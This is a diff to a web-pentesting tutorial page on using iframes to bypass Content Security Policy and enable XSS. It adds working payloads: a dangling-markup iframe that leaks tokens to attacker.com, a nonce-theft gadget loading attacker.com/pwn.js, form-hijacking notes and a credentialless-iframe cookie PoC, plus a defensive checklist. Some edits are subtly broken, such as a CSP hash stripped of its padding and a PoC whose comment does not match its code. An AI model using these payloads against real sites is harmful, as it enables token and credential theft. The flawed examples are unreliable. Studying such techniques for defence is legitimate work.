diff --git a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
index cb00123d3..6f76847f7 100644
--- a/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
+++ b/src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
@@ -64,7 +64,7 @@ Therefore it’s possible to bypass the CSP of a page with:
   <head>
     <meta
       http-equiv="Content-Security-Policy"
-      content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
+      content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
   </head>
   <script>
     var secret = "31337s3cr37t"
@@ -109,7 +109,43 @@ if __name__ == "__main__":
     app.run()
 ```
 
-### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
+#### New (2023-2025) CSP bypass techniques with iframes
+
+The research community continues to discover creative ways of abusing iframes to defeat restrictive policies. Below you can find the most notable techniques published during the last few years:
+
+* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – When an application reflects HTML but a strong CSP blocks script execution, you can still leak sensitive tokens by injecting a *dangling* `<iframe name>` attribute. Once the partial markup is parsed, the attacker script running in a separate origin navigates the frame to `about:blank` and reads `window.name`, which now contains everything up to the next quote character (for example a CSRF token). Because no JavaScript runs in the victim context, the attack usually evades `script-src 'none'`. A minimal PoC is:
+
+  ```html
+  <!-- Injection point just before a sensitive <script> -->
+  <iframe name="//attacker.com/?">  <!-- attribute intentionally left open -->
+  ````
+  ```javascript
+  // attacker.com frame
+  const victim = window.frames[0];
+  victim.location = 'about:blank';
+  console.log(victim.name); // → leaked value
+  ```
+
+* **Nonce theft via same-origin iframe (2024)** – CSP nonces are not removed from the DOM; they are merely hidden in DevTools. If an attacker can inject a *same-origin* iframe (for example by uploading HTML to the site) the child frame can simply query `document.querySelector('[nonce]').nonce` and create new `<script nonce>` nodes that satisfy the policy, giving full JavaScript execution despite `strict-dynamic`. The following gadget escalates a markup injection into XSS:
+
+  ```javascript
+  const n = top.document.querySelector('[nonce]').nonce;
+  const s = top.document.createElement('script');
+  s.src = '//attacker.com/pwn.js';
+  s.nonce = n;
+  top.document.body.appendChild(s);
+  ```
+
+* **Form-action hijacking (PortSwigger 2024)** – A page that omits the `form-action` directive can have its login form *re-targeted* from an injected iframe or inline HTML so that password managers auto-fill and submit credentials to an external domain, even when `script-src 'none'` is present. Always complement `default-src` with `form-action`!
+
+**Defensive notes (quick checklist)**
+
+1. Always send *all* CSP directives that control secondary contexts (`form-action`, `frame-src`, `child-src`, `object-src`, etc.).
+2. Do not rely on nonces being secret—use `strict-dynamic` **and** eliminate injection points.
+3. When you must embed untrusted documents use `sandbox="allow-scripts allow-same-origin"` **very carefully** (or without `allow-same-origin` if you only need script execution isolation).
+4. Consider a defense-in-depth COOP+COEP deployment; the new `<iframe credentialless>` attribute (§ below) lets you do so without breaking third-party embeds.
+
+### Other Payloads found on the wild <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
 
 ```html
 <!-- This one requires the data: scheme to be allowed -->
@@ -138,21 +174,29 @@ When utilized, the `sandbox` attribute imposes several limitations:
 - Navigation of the content's top-level browsing context by the content itself is prevented.
 - Features that are triggered automatically, like video playback or auto-focusing of form controls, are blocked.
 
+Tip: Modern browsers support granular flags such as `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, etc. Combine them to grant only the minimum capabilities required by the embedded application.
+
 The attribute's value can be left empty (`sandbox=""`) to apply all the aforementioned restrictions. Alternatively, it can be set to a space-separated list of specific values that exempt the iframe from certain restrictions.
 
 ```html
-<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
+<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
+<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
 ```
 
 ### Credentialless iframes
 
 As explained in [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), the `credentialless` flag in an iframe is used to load a page inside an iframe without sending credentials in the request while maintaining the same origin policy (SOP) of the loaded page in the iframe.
 
-This allows the iframe to access sensitive information from another iframe in the same SOP loaded in the parent page:
+Since **Chrome 110 (February 2023) the feature is enabled by default** and the spec is being standardized across browsers under the name *anonymous iframe*. MDN describes it as: “a mechanism to load third-party iframes in a brand-new, ephemeral storage partition so that no cookies, localStorage or IndexedDB are shared with the real origin”. Consequences for attackers and defenders:
+
+* Scripts in different credentialless iframes **still share the same top-level origin** and can freely interact via the DOM, making multi-iframe self-XSS attacks feasible (see PoC below).
+* Because the network is **credential-stripped**, any request inside the iframe effectively behaves as an unauthenticated session – CSRF protected endpoints usually fail, but public pages leakable via DOM are still in scope.
+* Pop-ups spawned from a credentialless iframe get an implicit `rel="noopener"`, breaking some OAuth flows.
 
 ```javascript
-window.top[1].document.body.innerHTML = 'Hi from credentialless';
-alert(window.top[1].document.cookie);
+// PoC: two same-origin credentialless iframes stealing cookies set by a third
+window.top[1].document.cookie = 'foo=bar';            // write
+alert(window.top[2].document.cookie);                 // read -> foo=bar
 ```
 
 - Exploit example: Self-XSS + CSRF
@@ -219,7 +263,10 @@ Check the following pages:
 ../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
 {{#endref}}
 
+
+
+## References
+
+* [PortSwigger Research – Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
+* [Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
